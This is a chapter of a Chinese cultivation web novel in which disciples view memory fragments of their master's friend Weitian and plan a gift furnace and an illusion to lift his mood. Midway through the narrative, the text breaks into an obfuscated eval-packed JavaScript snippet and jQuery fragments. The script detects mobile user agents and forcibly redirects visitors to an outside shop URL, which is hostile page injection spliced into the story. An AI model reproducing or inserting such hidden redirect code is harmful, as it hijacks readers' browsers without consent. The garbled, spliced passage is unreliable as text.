默认冷灰
24号文字
方正启体

11.众弟子协商

作者:什淮本书字数:K更新时间:
    日有所思夜有所梦,她在梦中见到了一只丹炉。雕刻着金龙银凤,一副富丽堂皇样。倏忽间,丹炉爆开,碎片四溅,却在下一刻自行聚拢,严丝合缝地拼回原样。


    梦境异常清晰,连炉口边缘细微的划痕都历历在目。这不像是普通的梦,倒像是真实存在的。


    要是能拿到这个丹炉该多好。这个念头一起,夏鸣悠悠转醒。梦中记忆依旧清晰,她甚至能复刻丹炉上的花纹。


    她摸了摸自己的脸,从床上爬起,去敲二师姐的门。


    两人对坐桌前。沈墨听完她的描述,从储物袋中掏出一本?百宝图鉴?。书页无风自动,哗啦啦翻过大半本,停在一页之上。沈墨与夏鸣凑过头去——页面上绘着的,正是夏鸣梦中那尊一模一样的丹炉。


    “此炉名为破镜重圆,是枯荣山庄一名医修为重修旧好,寻遍融合胶着之物所炼,赠其暴脾气的爱人。”沈墨念完书页上的宝物介绍,奇怪地瞥了夏鸣一眼,“这丹炉用料不算上乘,只有碎后重圆的特性还算有趣,你当真想要这个?”


    越听沈墨说,夏鸣眼中的光芒越盛。这简直完美契合她的需求!她点头:“嗯,就是这个,书上有记载它现在在哪里吗?”


    “唔,既然你能在梦里见到……”沈墨盯着她沉吟片刻,“或许它就在不远处。你心有挂念,神魂在睡梦中感应到此物,才有了这梦,提醒你去寻。”


    说罢沈墨摸出玉碟,敲了两下,玉碟明光起:“凝心,离傀儡宗最近的镇子上,近期可有拍卖会?”


    玉碟里传来楚凝心怯弱之声:“再过十五日便有一场。怎么了?”


    “不是什么大事,小夏鸣梦见一只丹炉,想去拿下。恐怕丹炉已在镇内,你带她走一趟,将东西拿回来?”


    楚凝心自然应下。事情如此顺利,夏鸣却忽然有些慌,她迟疑地问:“二师姐,如果是拍卖会,是不是需要很多灵石?”


    沈墨收回玉碟的手顿住,她皱起脸愁眉不展,点头:“是啊,但我的灵石也都用于修炼所剩无几。不过这丹炉,应该不是什么稀罕宝贝,你攒出两枚上品灵石,应该就够了。”


    两枚上品灵石。夏鸣捂了捂额头苦笑,据她所知,一枚上品灵石便能抵数千枚下品灵石,而她口袋里只有五十六颗下品灵石。


    她真诚发问:“那我应该从哪里去攒这两枚上品灵石?”


    “这个,”沈墨挠了挠头,“我没管过这方面的事,凝心和云飞时常外出,常带回稀罕物件,宗里的大小账也是他俩管着,他们应当更懂。”


    借了沈墨的玉碟,夏鸣再次拨通楚凝心的“电话”。她虚心请教:“凝心师姐,听说你和云飞师兄管着宗里的账,还会外出赚灵石。我想为半个月后的拍卖会攒两枚上品灵石,你们可有什么法子能赚到?”


    “那个,云飞,你来。”楚凝心小声着,声音逐渐消失。


    像是替代她,楚云飞的声音从玉碟内传来:“来了,你担心的这个好办,我们可是有素问师叔的。”


    姐弟俩还是待在一起的。夏鸣继续问:“可是素问前辈的丹药……他最近心情不好,炼的丹会不会也带着怨气?”


    楚云飞被逗笑:“放心,师叔的丹药质量从不打折扣。师父也正让我们去会上卖掉,以师叔丹药的成色,不愁没有灵石。届时你跟着我们去便是,”他话音一顿,语气里透出某种已知答案的玩味,“不过夏鸣,你这丹炉,打算拿来做什么?”


    得闻此言,沈墨在旁也好奇地发问:“对哦,小夏鸣,你为何想买这丹炉,是想学炼丹了?但你刚踏入修行之路,恐贪多嚼不烂。”


    夏鸣摸了摸鼻子,对玉碟道:“云飞师兄一会儿我去找你。”用神魂关闭了玉碟,才正色看向沈墨:“放心吧,我只是拿来玩玩。”


    心思单纯的沈墨不做他想,只叮嘱两句一定要以修炼为重,快些找到天赋,便返回自己屋中。夏鸣做贼似的弹起,骑上傀儡猩猩,朝楚凝心、楚云飞住处而去。


    下了山,换快马,抵达他们所居的山头。肉眼望去,只见山壁嶙峋,并无洞府痕迹。夏鸣外放神魂,几道波浪纹以圆弧形式自上而下循环荡漾。


    应该是护洞结界,夏鸣的神魂轻碰上去,发出清脆的叮声。


    结界如同断了水的瀑布自上而下停止波动。本以为出来的会是楚凝心或楚云飞,结界后却探出叶念念的小脑袋,她眼睛一亮:“夏鸣姐!快进来,我们正说到你呢!”


    夏鸣被这热情弄得一愣,跟着走进结界。洞府内比她想象中热闹——只见楚凝心与楚云飞盘腿对坐,二人神情肃穆,面前各自漂浮着两个乳白的光球,在二人之间,摆放着一盏古旧瓶器、一件破损的青袍。


    “来得正好,”楚云飞抬眼看来,“我们刚在讨论,若要让师叔心情转好,光一个丹炉够不够。”


    “啊,”心思被戳破,某种囧意油然而生,夏鸣不好意思地抿了抿唇,“原来你们也在想这件事。我还以为只有我一个人在瞎琢磨。”


    “怎么会,”楚云飞笑得狡黠,“听了师叔昨日那番话,我们当然不能什么都不做。”


    楚凝心轻轻点头,声音从面具后传来:“大师姐其实也很担心……但她尚有要事在身。”


    叶念念这时才凑过来,踮脚贴近夏鸣耳朵,像是传递秘密讯息,悄声念:“其实我们早就想行动了,只是不知从何下手。听了你说的丹炉,大家都觉得极好。不过还需要点别的,现在我们正在找师叔的喜好呢。”


    闻言,夏鸣的目光投向瓶与青袍。她问:“这件衣袍看着像是素问前辈的,拿来要做什么?”


    “这些都是师叔以前遗留的旧物,可以‘看过去’。”叶念念解释道,一溜烟跑过去也坐下来,拍了拍身侧的地面。夏鸣从善如流,盘膝而坐。


    “看素问前辈的过去?还能做到这一步?”


    叶念念腼腆弯起眼,她抬掌,掌心朝向桌上的物品,两道乳白光球从物品中袅袅升起,落入她掌内:“我的天赋便是能窥见物品上承载的强烈情感,或记忆碎片。只要触碰光球,夏鸣姐你也可以看见,要试试吗?”


    说罢,两枚光球排开,悬在夏鸣眼前。夏鸣指尖轻碰左侧光球,一股冰凉触感从指尖蔓延,天旋地转。


    再清晰时,蔚天站在她面前,却是一副气喘吁吁、血污满身的模样。


    他以剑撑住身形,捂着腰腹的伤,青袍已然破碎勾连成丝,唯有一双眼仍清醒如寒星,吐字清晰:“慕月,我需在你这儿突破,替我争取时间。”


    李慕月的虚影缓缓浮现,他两步上前扶住蔚天肩膀,眉头紧皱:“我这就开启幻戏台,绝不让任何人进来。你想待多久都行。”


    “那恐怕,不行。”话音刚落,蔚天顿时低头,呛出几声剧烈咳嗽,全靠素问剑与李慕月才不至于跪倒在地。李慕月急得抓起他就往里走:“还废话!你那么多丹药呢?快点服下疗伤!”


    “她们发了高额通缉,满天下修士都在赶来,你们应付不了,”蔚天喘着气,每个字都带出唇角血沫,“待我突破,就去杀了她们。”气音也掩不住他的狠意。


    记忆碎片戛然而止。夏鸣回过神,左侧的光球悄然消失。她沉默了一阵,瞧见同样回过神的楚云飞捂住额头,长长叹气:“我就说,当初师叔怎么来了也不见人,之后自己又莫名其妙走了。”


    “师叔,什么也没同我们说。”楚凝心低头,声音黯然。


    夏鸣听得云里雾里,与叶念念对视,她清澈的眼中也塞满疑惑,朝二人问:“是怎么回事?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533340|202811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>楚云飞收拾好情绪抬起头,悉心说明:“七百年前,正邪大战还在进行,我跟姐姐刚被师父收入门,就听说师父的好友要在我们宗门暂居。那段时间我们都没跟他见上一面,但收到了很多师叔馈赠的丹药法器,”他顿了顿,“那时,师父、大师姐他们整日全力维持着幻戏台,说是防被敌人察觉。具体发生什么,我不知晓。只知约摸一个月后,一道磅礴剑意冲破了幻戏台阵法,将大海染成了血色。随后就听师父说,师叔已经离开宗门。”


    夏鸣咽了咽口水,心头莫名一悸。


    依楚云飞所言,那时蔚天正被满天下想要讨赏的修士追杀,重伤濒危,又碰上突破瓶颈,不得已来傀儡宗暂求庇护。幻戏台为他争得一月时间,蔚天突破了瓶颈,一剑荡平包围傀儡宗的敌人,孤身离去。


    “咳咳,等等!我们今天是来找师叔喜好的,这件旧物上没有线索,下一个下一个!”叶念念说着,同时推动三人面前的光球,催促他们快些看。夏鸣笑了笑,沉入第二段记忆。


    古旧的瓶身出现在眼前,一只手捏着一株干瘪了些的植物插入瓶中。顺着手臂上瞧,此人正是蔚天。此时的他眼眸盛着温和的光,分明是同一张少年脸庞,却更加青涩,自言自语:“这样就好了。”


    在他的手脱离植物的刹那,干瘪的花瓣逐渐饱满、鲜艳,再次回春。


    一道尖细又饱含威胁的叫声从侧方响起,蔚天转身,抬手召来桌上一片菜叶,前走两步蹲下身:“别生气,来,饿了吧。”


    他身前是个用布料搭成的圆窝,一只白兔缩在窝中,谨慎地探出脑袋伸头,嗅闻几下,不敌菜叶清香,伸长脖颈咬住叶子,吧唧吧唧吃开。蔚天趁它专注吃食,小心翼翼地探手,指尖点在白兔血糊的后腿上。


    血肉成丝,迅速翻腾着织成肉网,又以肉眼可见的速度层层覆上肌肉、薄膜、皮肤,最后长出雪白绒毛。仿佛那伤口从未存在。


    兔子咬菜叶的动作一顿,茫然扭头,试探着蹬腿,跳出小窝跑了起来。蔚天低笑出声,模样煞是高兴。


    四人面面相觑,洞府内安静了片刻。夏鸣有些不敢相信自己看见了什么。那个温柔、无害、有点开朗、会因救了一只小兔而由衷开心的少年,竟然是蔚天?


    她脑海中不受控制地浮现出两个身影——一个是记忆里眉眼弯弯、指尖轻抚兔毛的少年;一个是现在塔顶那眉眼冷峻、周身笼罩着压抑怒火的剑仙。同样的面容,却判若两人。


    “原来他以前,是这样的。”夏鸣轻声说,心里涌起一股复杂的情绪。是心疼?是惋惜?还是某种说不清的怅然?


    楚云飞叹了口气:“我也没想到。师叔从来没提过这些。”


    沉默了片刻,夏鸣探究的眼神盯住楚云飞。蔚天竟在少年时那么早,就已经在傀儡宗留下过痕迹。楚云飞立刻意会,连忙摆手:“我也不知,那时我或许还未出生。但师父肯定知道,只是他从来不说师叔的过去。”


    可惜。夏鸣在心里默默记下,等日后关系更近些,定要找机会问问李宗主。但现在……拽住自己不合时宜的好奇心,琢磨起正事:“所以,蔚天他喜欢给小动物、植物疗伤?”


    “看起来是的,”楚云飞托着下巴思索,目光在夏鸣和叶念念之间转了一圈,“不过光是疗伤小动物,会不会太过单纯?师叔如今的心境,还会做这种事吗?”


    “那是他喜欢做的事,”夏鸣思索着,片刻后她认真地说,“一个人的本性并不容易改变,既然他曾经为此而欢喜,如今也一定会有所触动。”


    楚凝心轻轻点头:“而且,师叔需要放松,可以一试。”


    楚云飞念叨一句好吧,陷入沉思,片刻后他猛地抬头,打了个响指:“我知道该给师叔设置什么样的幻境了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)